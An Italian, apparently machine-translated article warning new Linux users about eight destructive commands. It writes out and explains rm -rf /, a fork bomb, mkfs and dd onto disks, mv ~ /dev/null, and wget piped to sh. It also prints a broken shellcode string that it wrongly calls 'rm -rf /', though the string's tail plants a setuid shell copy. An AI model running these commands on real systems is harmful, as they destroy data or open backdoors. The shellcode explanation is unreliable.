8 comandi mortali che non dovresti mai eseguire su Linux

Sommario:

8 comandi mortali che non dovresti mai eseguire su Linux
8 comandi mortali che non dovresti mai eseguire su Linux

Video: 8 comandi mortali che non dovresti mai eseguire su Linux

Video: 8 comandi mortali che non dovresti mai eseguire su Linux
Video: Come attivare qualsiasi edizione di Windows tramite powershell [WINDOWS 10 E WINDOWS 11] - YouTube 2024, Aprile
Anonim
I comandi del terminale di Linux sono potenti e Linux non chiederà conferma se si esegue un comando che interromperà il sistema. Non è raro vedere i troll online raccomandare ai nuovi utenti Linux di eseguire questi comandi come uno scherzo.
I comandi del terminale di Linux sono potenti e Linux non chiederà conferma se si esegue un comando che interromperà il sistema. Non è raro vedere i troll online raccomandare ai nuovi utenti Linux di eseguire questi comandi come uno scherzo.

Imparare i comandi che non dovresti eseguire può aiutarti a proteggerti dai troll mentre aumenti la tua comprensione di come funziona Linux. Questa non è una guida esaustiva e i comandi qui possono essere remixati in vari modi.

Nota che molti di questi comandi saranno pericolosi solo se sono prefissati con sudo su Ubuntu - non funzioneranno diversamente. Su altre distribuzioni Linux, la maggior parte dei comandi deve essere eseguita come root.

rm -rf / - Elimina tutto!

Il comando rm -rf / elimina tutto il possibile, inclusi i file sul disco rigido e i file sui dispositivi rimovibili collegati. Questo comando è più comprensibile se è suddiviso:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux obbedirà felicemente a questo comando e cancellerà tutto senza averti richiesto, quindi fai attenzione quando lo usi! Il comando rm può anche essere utilizzato in altri modi pericolosi - rm -rf ~ cancellerebbe tutti i file nella tua cartella home, mentre rm -rf. * cancellerebbe tutti i tuoi file di configurazione.

La lezione: Attenzione rm -rf.

Travestito rm -rf /

Ecco un altro frammento di codice che si trova in tutto il Web:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Questa è la versione esadecimale di rm -rf / l'esecuzione di questo comando cancellerebbe i tuoi file proprio come se avessi eseguito rm -rf /.

La lezione: Non eseguire comandi dall'aspetto strano, evidentemente camuffati che non capisci.

: () {: |: &};: - Fork Bomb

La seguente riga è una funzione bash dall'aspetto semplice ma pericoloso:

:(){:|: &};:

Questa breve linea definisce una funzione di shell che crea nuove copie di se stesso. Il processo si replica continuamente e le sue copie si replicano continuamente, recuperando rapidamente tutto il tempo e la memoria della CPU. Ciò può causare il blocco del computer. È fondamentalmente un attacco denial-of-service.

La lezione: Le funzioni di Bash sono potenti, anche molto brevi.

Image
Image

mkfs.ext4 / dev / sda1 - Formatta un disco rigido

Il mkfs.ext4 / dev / sda1il comando è semplice da capire:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Nel complesso, questo comando può essere equivalente al formato c: su Windows: cancella i file sulla prima partizione e li sostituisce con un nuovo file system.

Questo comando può venire anche in altre forme - mkfs.ext3 / dev / sdb2 formattare la seconda partizione sul secondo disco rigido con il file system ext3.

La lezione: Fare attenzione ai comandi di esecuzione direttamente sui dispositivi del disco rigido che iniziano con / dev / sd.

comando> / dev / sda - Scrive direttamente su un disco rigido

Il comando> / dev / sda la linea funziona in modo simile: esegue un comando e invia l'output di tale comando direttamente al primo disco rigido, scrivendo i dati direttamente sull'unità disco rigido e danneggiando il file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

La lezione: Come sopra, fai attenzione ai comandi in esecuzione che coinvolgono i dispositivi del disco rigido che iniziano con / dev / sd.

dd if = / dev / random of = / dev / sda - Scrive Junk Onto su un disco rigido

Il dd if = / dev / random di = / dev / sda linea cancellerà anche i dati su uno dei tuoi dischi rigidi.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

La lezione: dd copia i dati da una posizione a un'altra, il che può essere pericoloso se si copia direttamente su un dispositivo.

Image
Image

mv ~ / dev / null - Sposta la tua home directory su un buco nero

/ dev / null è un'altra posizione speciale: spostare qualcosa su / dev / null equivale a distruggerlo. Pensa a / dev / null come a un buco nero. Essenzialmente, mv ~ / dev / null manda tutti i tuoi file personali in un buco nero.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

La lezione: Il carattere ~ rappresenta la tua cartella principale e spostare le cose su / dev / null le distrugge.

wget https://example.com/qualcosa -O - | sh: scarica ed esegue uno script

La riga precedente scarica uno script dal web e lo invia a sh, che esegue il contenuto dello script. Questo può essere pericoloso se non sei sicuro di quale sia lo script o se non ti fidi della sua origine - non eseguire script non fidati.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

La lezione: Non scaricare ed eseguire script non affidabili dal Web, anche con un comando.

Conosci altri comandi pericolosi che i nuovi utenti Linux (e con esperienza) non dovrebbero eseguire? Lascia un commento e condividili!

Consigliato: